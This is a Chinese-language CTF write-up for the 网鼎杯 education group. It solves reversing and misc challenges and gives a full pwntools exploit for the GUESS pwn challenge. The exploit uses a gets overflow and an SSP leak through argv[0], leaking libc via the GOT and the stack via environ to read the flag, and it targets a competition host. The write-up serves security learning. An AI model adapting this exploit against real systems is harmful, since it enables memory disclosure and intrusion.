WriteUp: 网鼎杯教育组

前言

作为网鼎杯的第一场线上赛被吐槽的地方还是很多的,比如题目以二进制居多,第一道 Web 题下午一点半才能开始做等等,但是其实相比第二场群魔乱舞来说要好多了吧(逃。

Lancet 各位师傅都是人才,在里面喊 666 超开心的,我超喜欢这里的。

签到

就是给公众号打广告,回答几个问题就能拿到 flag。

RE

Advanced

这道题如果正常去逆向的话是真的麻烦,结果师傅发现了非预期解。

正常运行程序会输出一串 identification ,拖进 IDA 里面看发现是静态字符串 %02x 输出,不知道跟 flag 有什么关系,但是程序正常逻辑中有多次逻辑相似的异或操作,因此尝试对该字符串异或 flag{ 发现规律。

然后编写脚本得到 flag。

1
2
3
4
5
6
7
8
9
iden = "4b404c4b5648725b445845734c735949405c414d5949725c45495a51"
flag = ""

for i in range(len(iden)//2):
if i % 2 == 0:
flag += chr(45 ^ int(iden[2*i:2*(i+1)], 16))
else:
flag += chr(44 ^ int(iden[2*i:2*(i+1)], 16))
print(flag)

实际上看了不少 WP 都是利用非预期解做的。

blend

CSAW CTF 2017 Realism 原题改了改数据。

WriteUp 见TechSecCTF/writeups

其中的脚本改改数据就能跑出结果,不过 Z3 的确强呀,有时间得好好学学了。

Beijing

打开 IDA 可以看到关键函数。

查看对应的字符串

可以看到形式上很像是 flag{xxxx} 被打乱顺序排列,因此猜测 sub_8048460 中不异或第一个操作数直接返回第二个操作数就可以得到 flag,其中 bss 段的顺序根据调试可以确定为 0。

当然你说怎么猜到的或者说为什么要这么做,我也不知道,不如一键打出题人.jpg。

MISC

clip

非预期解。

搜索给的二进制文件发现有 PNG IHDR IEND 等敏感字符串,可以根据 PNG 头、IHDR 和 IDAT 提取出来一张破损的 png 图片。

可以看出应该是最终 flag 对应的图片,打开 PS 拼一拼

可以读出最后的 flag。

minified

取出图片的 Alpha0 和 Green0 通道图片 XOR 一下就出 flag 了,好神奇喔!

现已加入豪华打出题人套餐.jpg。

PWN

GUESS

定位漏洞点

拖进 IDA 一看

漏洞点非常直白,就是 gets 这里会有溢出问题。

同时检查程序开启的保护。

SSP Leak

经过师傅提醒知道是 SSP(Stack Smashing Protector) Leak,原理的话我们可以直接看 glibc 的代码。

其中 __stack_chk_fail 在 canary 检查失败的时候会被调用,可以看到它打印了 argv[0] 指向的字符串,因此我们只要覆盖掉 argv[0] 就可以任意地址读。

envrion

由于 flag 是在栈上的,因此我们还需要有办法泄漏出栈上的地址,这里利用的是 environ,原理就是 libc 中导出了一个符号 environ,它的值跟 main 函数第三个参数 envp 的值完全相同,所以我们只要能泄露出 libc 的基址就能泄露出栈上的地址。

程序一共有三次输入机会,正好第一次通过 got 表泄漏出 libc 基址,第二次泄露出栈地址,第三次读 flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
# from LibcSearcher import LibcSearcher

context.log_level = 'DEBUG'
Remote = False
Debug = False
Libc = True
if Remote:
sh = remote('106.75.90.160',9999)
else:
if Debug:
sh = gdb.debug('./GUESS')
else:
if Libc:
sh = process('./GUESS', env={'LD_PRELOAD' : './libc.so.6'})
else:
sh = process('./GUESS')
libc = ELF('./libc.so.6')

gets_s0_address = 0x7fffffffe4d0
argv_0_address = 0x7fffffffe5f8
overflow_length = argv_0_address - gets_s0_address
flag_offset = 0x7ffd12119a88 - 0x7ffd12119920
gets_got_address = 0x602058

sh.sendlineafter('flag\n', 'A'*overflow_length + p64(gets_got_address))
sh.recvuntil('***: ')
gets_got = u64(sh.recv(6).ljust(8, '\x00'))
print hex(gets_got)
libc_base = gets_got - libc.symbols['gets']
libc.address = libc_base
print hex(libc_base)

sh.sendlineafter('flag\n', 'A'*overflow_length + p64(libc.symbols['environ']))
sh.recvuntil('***: ')
stack_address = u64(sh.recv(6).ljust(8, '\x00'))
print hex(stack_address)

sh.sendlineafter('flag\n','B'*overflow_length + p64(stack_address - flag_offset))
sh.recvall()

修复

值得一提的是,该问题在较新的 libc 中已经不存在了(具体版本未验证),下图为 glib2.28 源码

参考资料

CTF-pwn-tips
论canary的几种玩法